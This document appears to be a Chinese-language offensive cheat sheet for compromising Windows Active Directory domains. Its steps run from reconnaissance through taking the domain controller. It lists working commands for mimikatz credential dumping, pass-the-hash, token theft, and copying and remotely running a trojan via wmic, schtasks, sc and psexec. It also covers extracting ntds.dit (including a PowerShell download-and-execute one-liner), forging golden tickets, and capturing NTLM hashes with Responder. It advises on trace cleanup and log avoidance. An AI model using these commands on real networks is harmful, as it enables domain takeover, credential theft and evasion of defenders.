net view /domain
net config workstation
net group "Domain Admins" /domain
net time /domain
ipconfig /all
nslookup xxx
dsquery server
查看域控制器
net group "Domain controllers"
查询所有计算机名称(windows 2003)
dsquery computer
下面这条查询的时候,域控不会列出
net group "Domain Computers" /domain
还可以通过powershell进行信息搜集,收集的信息包括域控机器,网段信息,域内服务列表。使用powershell的话,首先要绕过默认的安全策略,具体看文章https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/
PowerSploit\Recon\PowerView.ps1
powerview Get-NetDomainController 收集域控信息 具体的可以看看powerview的帮助文件 域内服务信息收集,在域环境中其实无需做端口扫描。直接通过SPN进行信息收集,具体脚本
PowerShell-AD-Recon/blob/master/Discover-PSInterestingServices.ps1
1.日常规服务,通过前面收集的服务信息,针对性跑这些服务。其中跑sqlserver弱口令比较好,跑出来了就可以执行命令。
2.抓密码 拿到一台域服务器后,首先加载mimikatz的powershell脚本将内置的信息抓取一遍,如果域管理员登录过的话,直接就获取到了域管权限。但是在windows2012后mimikatz抓不到明文了(包括打了KB2871997这个补丁的机器),只能通过修改服务器上面的一些设置来获取,有完整的powershell利用脚本。 https://github.com/3gstudent/Dump-Clear-Password-after-KB2871997-installed
3.pass the hash 抓到密码破不出来就只能pth了,可以使用mimakatz
mimikatz # sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a
但是打了KB2871997这个补丁后常规的pth不能用了,只能传递administrator这个账号(sid=500),但是可以使用mimikatz任意传递aes256
4.steal token 当你获取了本地计算机的system权限后,如果这台机器上有域用户跑的进程,就直接可以窃取域账号的token,然后从本地用户组跨入域环境。如果这台机器上有域管的开的进程,那么直接steal token后就可以登录域控了。
5.远程执行命令方法
copy muma.exe \\host\c$\windows\temp\foobar.exe ##IPC拷贝木马文件
WMIC远程运行命令
wmic /node:host /user:administrator /p 密码 process call create “c:\windows\temp\foobar.exe”
powershell remoting 执行命令
schtasks计划任务远程运行
schtasks /create /tn foobar /tr c:\windows\temp\foobar.exe
/sc once /st 00:00 /S host /RU System schtasks /run /tn foobar /S host
schtasks /F /delete /tn foobar /S host ##清除schtasks
SC添加服务远程运行命令
sc \\host create foobar binpath=“c:\windows\temp\foobar.exe” ##新建服务,指向拷贝的木马路径
sc \\host start foobar ##启动建立的服务
sc \\host delete foobar ##完事后删除服务
PStools 远程执行命令
psexec.exe \\ip –accepteula -u username -p password program.exe
PTH+compmgmt.msc
smb+MOF
smbexec远程执行命令
copy execserver.exe \\host\c$\windows\
test.exe ip user password command netshare
不推荐使用pstools,因为会留下很多痕迹,日志要记录,并且如果禁用NTLM那么psexec无法利用获得的ntlm hash进行远程连接
6.ms14068 && GPP ms14068 可以通过先执行klist purge 然后在用mimikatz注入证书 这样域用户也可以直接使用这个漏洞。 GPP漏洞介绍 http://www.91ri.org/14909.html
1.非交互式 QuarkPwDump离线分析 需要文件:ntds.dit system.hiv 导出 system.hiv
reg save hklm\system system.hiv
QuarksPwDump.exe -k 可以获取key
导出ntds.dit
连接到域控之后,上传bat 利用vshadow备份ntds.dit
setlocal
if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK
set SOURCE_DRIVE_LETTER=%SystemDrive%
set SOURCE_RELATIVE_PATH=\windows\ntds\ntds.dit
set DESTINATION_PATH=%~dp0
@echo ...Determine the scripts to be executed/generated...
set CALLBACK_SCRIPT=%~dpnx0
set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd
@echo ...Creating the shadow copy...
"%~dp0vshadow-2008-x64.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER%
del /f %TEMP_GENERATED_SCRIPT%
@goto :EOF
:IS_CALLBACK
setlocal
@echo ...Obtaining the shadow copy device name...
call %TEMP_GENERATED_SCRIPT%
@echo ...Copying from the shadow copy to the destination path...
copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%
新建服务执行
sc create backupntds binPath= "cmd /c start c:\windows\temp\ntds.bat"
sc start backupntds
sc detele backupntds
导出HASH
QuarksPwDump.exe -dhd -nt ntds.dit -sf system.hiv -o hash.txt
ntdsutil导出
ntdsutil snapshot "activate instance ntds" create quit quit
ntdsutil snapshot "mount {GUID}" quit quit
copy MOUNT_POINT\windows\ntds\ntds.dit c:\windows\temp\ntds.dit
ntdsutil snapshot "unmount {GUID}" quit quit
ntdsutil snapshot "delete {GUID}" quit quit
powershell 导出ntds.dit
powershell IEX (New-ObjectNet.WebClient).DownloadString( 'https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-NinjaCopy.ps1');Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination "C:\Users\Administrator\Desktop\ntds.dit"
powershell导出后需要修复一下
esentutl /p /o ntds.dit
导出ntds.dit
windows2008之后可以使用ntdsutil
user 用户名
domain 域完整名称
sid 获取方式:whoami /all powerview 里面的 Convert-NameToSid ESRINEA\administrator psgetsid -accepteula ESRINEA\administrator (PStoos存在) mimikatz SID::lookup name
krbgt ntml hash mimikatz “@lsadump::dcsync /domain:域完整名称 /user:krbtgt"
保存golden ticket
mimikatz kerberos::golden /user:administrator /domain:ESRINEA.LOCAL /sid:S-1-5-21-2609584263-878513794-3710365111-500 /krbtgt:EDC094659D9C18F4E320C70838404D43 /ticket:ESRINEA.LOCAL.kirbi
使用golden ticket
mimikatz keberos::ptt ESRINEA.LOCAL.kirbi
https://github.com/SpiderLabs/Responder 撸下内网一个网站挂上<img src=\\xxx\\xx>
然后执行下面命令,就可以抓取ntlmv2 hash
./Responder.py -I eth0 -rPv
SMBRelay Attack
impacket
cobaltstrike+veil